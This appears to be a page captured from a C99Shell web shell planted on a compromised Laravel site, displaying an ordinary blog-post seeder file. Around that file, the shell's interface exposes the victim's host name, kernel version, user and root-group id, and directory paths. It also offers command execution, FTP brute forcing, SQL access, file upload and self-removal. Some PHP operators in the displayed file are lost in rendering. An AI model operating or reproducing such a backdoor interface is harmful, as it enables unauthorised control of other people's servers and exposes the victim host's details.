!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/Blog/Database/factories/   drwxr-xr-x
Free 28.44 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PostFactory.php (1.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Blog\Database\factories;

use 
App\Models\Admin;
use 
Faker\Factory as FakerFactory;
use 
Illuminate\Database\Eloquent\Factories\Factory;
use 
Illuminate\Support\Str;
use 
Modules\Blog\Entities\PostCategory;

class 
PostFactory extends Factory
{
    
/**
     * The name of the factory's corresponding model.
     *
     * @var string
     */
    
protected $model \Modules\Blog\Entities\Post::class;

    
/**
     * Define the model's default state.
     *
     * @return array
     */
    
public function definition()
    {
        
$id rand(30600);
        
$faker FakerFactory::create();
        
$faker->addProvider(new \Smknstd\FakerPicsumImages\FakerPicsumImagesProvider($faker));
        
$test $this->withFaker();
        
$title $test->realText(50);
        
$paragraph1 $test->realText(500true);
        
$paragraph2 $test->realText(1000true);
        
$description $paragraph1.'<br><br>'.$paragraph2;

        return [
            
'category_id' => PostCategory::inRandomOrder()->value('id'),
            
'author_id' => Admin::inRandomOrder()->value('id'),
            
'title' => $title,
            
'slug' => Str::slug($title),
            
'image' => $faker->imageUrl(width800height600),
            
'short_description' => $this->faker->sentence(40),
            
'description' => $description,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--